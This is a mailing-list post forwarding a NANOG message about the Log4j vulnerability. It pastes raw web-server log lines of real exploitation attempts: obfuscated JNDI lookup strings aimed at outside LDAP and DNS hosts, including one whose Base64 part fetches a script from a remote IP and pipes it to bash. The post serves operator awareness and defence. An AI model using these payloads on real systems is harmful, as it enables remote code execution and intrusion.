[Bloat] Fwd: Log4j mitigation

[Dave Taht <dave.taht@gmail.com>]

for those of you losing sleep over the java logging exploit, my heart
goes out to you.

While I'm glad I, personally, and on the bufferbloat related websites,
haven't got a single thing written in java, and I lost 3 weeks of my
life over christmas to spectre, and several weeks per year - and
usually, right around christmas! coping with other CVE's.... this one
seems so big and affecting so many other services I use, that I just
kind of want to take all my cash out of the bank, and log out, and
find a tropic island somewhere.

---------- Forwarded message ---------
From: Jörg Kost <jk@ip-clear.de>
Date: Mon, Dec 13, 2021 at 3:43 AM
Subject: Re: Log4j mitigation
To: Jean St-Laurent <jean@ddostest.me>
Cc: <nanog@nanog.org>


You can't see it. The attack vector can hide in HTTP GETs, Posts (SSL),
in Headers, in anything related to where a Java process does logging
with Log4j; it's innumerable. It might even evaluate from a URI itself;
it won't use a fixed port. It's not wormy right now, but maybe it will
soon.

We are seeing things like this since 10th of Dec. And this is only a
typical Apache Logfile for HTTP/HTTPS, where we do logging:

${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8xNzguMjQ4LjI0Mi4xNDE6ODB8fHdnZXQgLXEgLU8tIDE5NS41NC4xNjAuMTQ5OjU4NzQvMTc4LjI0OC4yNDIuMTQxOjgwKXxiYXNo}
GET /$%7Bjndi:dns://45.83.64.1/securityscan-http80%7D HTTP/1.1" 301 281
"${jndi:dns://45.83.64.1/securityscan-http80}"
"${jndi:dns://45.83.64.1/securityscan-http80}
GET
/?x=${jndi:ldap://${hostName}.c6rip779l9hq8g7hluigcg5131oyyyt8e.interactsh.com/a}
HTTP/1.1" 200 -
"${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://${hostName}.c6rip779l9hq8g7hluigcg5131oyyyt8e.interactsh.com}"
"${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://${hostName}.c6rip779l9hq8g7hluigcg5131oyyyt8e.interactsh.com}



-- 
I tried to build a better future, a few times:
https://wayforward.archive.org/?site=https%3A%2F%2Fwww.icei.org

Dave Täht CEO, TekLibre, LLC